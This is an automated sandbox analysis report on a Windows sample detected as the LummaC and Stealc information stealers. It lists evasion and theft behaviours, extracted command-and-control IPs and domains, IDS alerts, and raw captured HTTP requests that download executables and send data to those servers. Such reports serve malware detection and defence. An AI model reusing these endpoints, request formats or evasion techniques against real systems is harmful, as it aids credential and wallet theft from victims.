Edit tour

Windows Analysis Report
2jx1O1t486.exe

Overview

General Information

Sample name:	2jx1O1t486.exe renamed because original name is a hash value
Original sample name:	68c487cdbb51d484893ab31eb1cc4d10.exe
Analysis ID:	1579977
MD5:	68c487cdbb51d484893ab31eb1cc4d10
SHA1:	1ba59668999f2dd069ddfbe7aa985090622076b5
SHA256:	842e79e79dedc18825b40ad364bddaacd627ff752456654dcc4504a18da89932
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

2jx1O1t486.exe (PID: 7816 cmdline: "C:\Users\user\Desktop\2jx1O1t486.exe" MD5: 68C487CDBB51D484893AB31EB1CC4D10)

G1YXJMVDF5OIAHQBL77U48.exe (PID: 7396 cmdline: "C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe" MD5: 631FDAD3FF8BC1E42A72D22EB14037E9)

NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe (PID: 5400 cmdline: "C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe" MD5: 54CC74B54E416B5B99BA11FE90829DE2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["slipperyloo.lat", "tentabatte.lat", "shapestickyr.lat", "manyrestro.lat", "observerfry.lat", "bashfulacid.lat", "talkynicer.lat", "wordyfindy.lat", "curverpluch.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.1850249772.000000000078C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.1850609273.0000000000D11000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.1796375087.0000000004860000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2jx1O1t486.exe PID: 7816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2jx1O1t486.exe PID: 7816	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe PID: 5400	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe PID: 5400	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 3 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:28:17.378594+0100	2028371	3	Unknown Traffic	192.168.2.8	49706	104.21.36.201	443	TCP
2024-12-23T17:28:19.527337+0100	2028371	3	Unknown Traffic	192.168.2.8	49707	104.21.36.201	443	TCP
2024-12-23T17:28:23.505424+0100	2028371	3	Unknown Traffic	192.168.2.8	49708	104.21.36.201	443	TCP
2024-12-23T17:28:25.770401+0100	2028371	3	Unknown Traffic	192.168.2.8	49709	104.21.36.201	443	TCP
2024-12-23T17:28:28.584594+0100	2028371	3	Unknown Traffic	192.168.2.8	49710	104.21.36.201	443	TCP
2024-12-23T17:28:32.219763+0100	2028371	3	Unknown Traffic	192.168.2.8	49713	104.21.36.201	443	TCP
2024-12-23T17:28:34.901021+0100	2028371	3	Unknown Traffic	192.168.2.8	49714	104.21.36.201	443	TCP
2024-12-23T17:28:38.616321+0100	2028371	3	Unknown Traffic	192.168.2.8	49715	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:28:18.130629+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49706	104.21.36.201	443	TCP
2024-12-23T17:28:20.576003+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49707	104.21.36.201	443	TCP
2024-12-23T17:28:39.397381+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49715	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:28:18.130629+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49706	104.21.36.201	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:28:20.576003+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49707	104.21.36.201	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:28:40.951748+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49716	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:28:32.997009+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49713	104.21.36.201	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T17:28:56.045187+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49717	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 2jx1O1t486.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpp4vp4v1vx

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.5400.4.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: 2jx1O1t486.exe.7816.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["slipperyloo.lat", "tentabatte.lat", "shapestickyr.lat", "manyrestro.lat", "observerfry.lat", "bashfulacid.lat", "talkynicer.lat", "wordyfindy.lat", "curverpluch.lat"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: 2jx1O1t486.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 2jx1O1t486.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: observerfry.lat
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: 2jx1O1t486.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.201:443 -> 192.168.2.8:49715 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: G1YXJMVDF5OIAHQBL77U48.exe, 00000003.00000002.1882230997.0000000000B32000.00000040.00000001.01000000.00000006.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49717 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49706 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49706 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49713 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49715 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49707 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49707 -> 104.21.36.201:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: curverpluch.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:28:40 GMTContent-Type: application/octet-streamContent-Length: 2795520Last-Modified: Mon, 23 Dec 2024 15:52:48 GMTConnection: keep-aliveETag: "67698750-2aa800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 1d 4c 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 6a 75 6b 77 70 62 6b 00 20 2a 00 00 a0 00 00 00 1a 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 76 62 64 6d 77 6c 76 00 20 00 00 00 c0 2a 00 00 04 00 00 00 82 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 86 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 16:28:45 GMTContent-Type: application/octet-streamContent-Length: 2790912Last-Modified: Mon, 23 Dec 2024 15:54:43 GMTConnection: keep-aliveETag: "676987c3-2a9600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 d0 4d 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4e 00 00 04 00 00 2f 52 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 74 75 6d 6c 77 6e 6b 77 00 00 29 00 00 c0 24 00 00 f4 28 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 77 64 70 66 61 72 6c 00 10 00 00 00 c0 4d 00 00 04 00 00 00 70 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4d 00 00 22 00 00 00 74 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 45 41 44 41 35 38 43 43 42 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="hwid"FEADA58CCBB3476522507------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="build"stok------AKFIDHDGIEGCAKFIIJKF--

Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49707 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49709 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49706 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49708 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49713 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49710 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49714 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49715 -> 104.21.36.201:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49716 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: observerfry.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=BIHKWH0CTY07RXHYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12834Host: observerfry.lat
